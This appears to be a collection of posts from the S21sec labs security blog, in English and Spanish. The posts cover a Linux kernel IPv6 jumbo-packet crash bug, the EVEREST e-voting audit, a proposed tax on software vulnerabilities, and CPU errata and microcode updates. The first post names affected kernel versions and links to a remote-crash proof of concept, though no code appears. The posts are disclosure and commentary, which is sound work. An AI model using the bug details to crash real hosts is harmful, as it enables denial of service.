Jumbo packets in IPv6 need the Hop-By-Hop option which means that the headers are processed by all nodes between the source and destination host. Since unaffected kernel versions will just skip the packet without crashing it works only if the vulnerable host is the next hop. This behavior is only tested using Linux nodes for routing.

Here is a proof of concept code which will crash remote machines running a Linux kernel >=2.6.20 and <=2.6.21.1

http://www.s21sec.com/descargas/ipv6_jumbo_bug.txt

Here is the Ubuntu advisory about the same Bug:
http://www.ubuntu.com/usn/usn-558-1


Clemens Kurtenbach
S21sec labs

¿Se podrían manipular unas elecciones?

Pues parece ser que la respuesta es si. O al menos eso es lo que se puede entrever del informe EVEREST (Evaluation and Validation of Election-Related Equipment, Standards and Testing), iniciativa de miembros de la universidad de Pensilvania, WebWise Security y diversos equipos de investigación de Pennsilvania.

El informe EVEREST, que estudia sistemas de votación electronicos de las empresas "Election Systems and Software (ES&S)" y "Hart InterCivic and Premier Election Solutions" antes conocido como "Diebold", pone en evidencia el sistema de voto electrónico de Estados Unidos (el 80% del voto en estados unidos es manejado por máquinas fabricadas por estas empresas).

Se han detectado fallos de todo tipo, como por ejemplo, fallos debidos a "buffer overflows", cifrado insuficiente (inexistente en algunos casos) y fallos de firmware, que posibilitan alterar el resultado de unas elecciones, en algunos casos con el simple uso de herramientas ofimáticas muy comunes.

Para empeorar las cosas, estas máquinas no funcionan de manera constante, lo que significa que se podría instalar malware y no ser detectado hasta el día de las elecciones.

Afortunadamente para los ciudadanos estadounidenses, el informe EVEREST ya ha comenzado a tener sus primeros resultados, ya que la oficina de la secretaría de estado de Colorado, ya ha "descertificado" las máquinas de voto electrónico usadas en las pasadas elecciones.

La conclusión que se puede sacar de todo esto es, que, previamente a las elecciones no se hizo una auditoría de seguridad adecuada a las máquinas utilizadas para el voto electrónico.

¿Qué pasaría si se optase por el sistema de voto electrónico en España?.¿Nuestros políticos se fiarían?. Lo que si que es seguro (sobre todo para una empresa como nosotros) es que es una posibilidad de la que hay que estar al tanto.

Asier Marruedo
S21sec labs

La no-seguridad debe tener un coste

Hace ya algunas semanas tuvimos la oportunidad de escuchar a Bruce Schneier en la II Jornada Internacional del ISMS Forum (ya os lo comenté) y volvieron a surgir algunos temas recurrentes en Bruce como el efecto de la complejidad sobre la seguridad. Pero lo más interesante (desde mi punto de vista) fue la reflexión relativa a la aplicación de conceptos económicos a la gestión de la seguridad. En concreto, me llamó mucho la atención la reflexión sobre la importancia de lo que se conoce como 'externalidad' (externality) [me encanta que mi formación como Economista tenga, al fin, una utilidad clara].

En resumidas cuentas, la externalidad se produce cuando nos encontramos en una situación en la que los costes o beneficios privados a los productores o compradores de un bien o servicio difiere del coste o beneficio social total relacionado con su producción y consumo. La externalidad existe siempre que las acciones de un agente afectan al bienestar de otro agente (para bien o para mal) de formas que no necesitan ser pagadas de acuerdo a la definición existente en la sociedad de los derechos de propiedad.

Lo mejor es recurrir a un ejemplo práctico: Un empresario que produce poco respetuosa con el medio, afectándonos a todo no tiene que pagar más por esa producción (por eso existe una legislación medioambiental).

Y lo cierto es que, en el mundo de la seguridad ocurre exactamente lo mismo y es algo sobre lo que también habíamos hablado en algún momento previo. Todo esto ha surgido al hilo del artículo publicado aquí en el que se propone la aplicación de un "impuesto" a las vulnerabilidades del software. Estoy de acuerdo con el autor (Kelly Jackson) en que se debe establecer algún mecanismo para que a los fabricantes les resulte rentable fabricar software seguro. En definitiva lo que hemos de encontrar es un mecanismo para resolver la externalidad existente en el mundo de la seguridad y en este punto, en lo relativo a las vulnerabilidades del software: Si un fabricante produce un coste al bienestar del consumidor superior a lo que éste paga por el software, debe existir algún mecanismo para igualar ambos costes.

¿Es un impuesto el mejor mecanismo? No lo sé, se abre el debate...

Antonio Ramos
Director de Consultoría Estratégica

Bugs de silicio

Una anécdota muy conocida es la de la polilla que hacía fallar un relé en uno de los grandes ordenadores de los años 50. El término “bug” ya se utilizaba para referirse a errores o comportamientos no esperados en ingeniería y esta polilla se considera como el primer bug (en sentido literal y figurado) encontrado en un procesador.


Hasta ahora, los procesadores siempre han tenido errores. Diseñar e implementar un procesador es cada vez más complicado, supone más lineas de código y lógicamente más bugs. Algunos adquieren cierta fama, como el famoso FDIV de los primeros Pentium, pero normalmente pasan desapercibidos. Existen muchos más documentados de los que en principio se pueda pensar, tanto en procesadores Intel (Core duo y Core solo, Septiembre 2007) como AMD (Athlon64 y Opteron, Octubre 2007) .

Lo cierto es que la gran mayoría de estos errores se hacen notar en muy raras ocasiones y sus efectos suelen provocar que el procesador se pare, genere interrupciones que no deberían ocurrir o empeore el rendimiento. Es molesto, pero no supone un riesgo desde el punto de vista de la seguridad. Al menos de momento. En los últimos procesadores hay varios bugs que sí podrían suponer un riesgo para la seguridad, como flags de permisos de escritura o ejecución que son ignoradas o incluso intrucciones RET que en ciertas condiciones saltan a una dirección de memoria incorrecta.

Hoy en día estamos acostumbrados a aplicar parches a nuestro software y es algo que se realiza de una manera cada vez más automatizada. En el caso del hardware, hay varias posibles soluciones. Como consecuencia del bug FDIV, Intel cambió los procesadores defectuosos. Lógicamente, esta no es una solución práctica. En la actualidad, parte del código de los sistemas operativos se dedica a corregir en software los errores de los procesadores. Basta buscar las palabras quirk, workaround o errata en la carpeta arch del código de Linux.

Otra forma de combatir estos errores es que esa mayor complejidad de los procesadores ha traído también la posibilidad de actualizar su microcódigo, que define las instrucciones internas del procesador y que son distintas a las de la arquitectura x86. De cara al usuario esto se traduce normalmente en una actualización de la BIOS. Esta última solución pueden ser un poco engorrosa. La tendencia es utilizar actualizaciones del microcódigo que se envían al procesador durante el arranque del sistema operativo. Microsoft ya ha publicado un parche de este tipo, mientras que en Linux 2.6.20+ hay una aplicación llamada microcode_ctl que permite cargar descripciones del microcódigo que suministra Intel en su página web (ejemplo).

Parece que vamos a tener que acostumbrarnos a actualizar nuestro procesador, aunque sin duda, lo que deberían hacer los fabricantes es prestar más importancia a la seguridad del hardware, antes de que se descubra una vulnerabilidad aprovechable. Ahorraría muchos problemas y mucha publicidad negativa para la empresa afectada.

Patxi Astiz
S21sec labs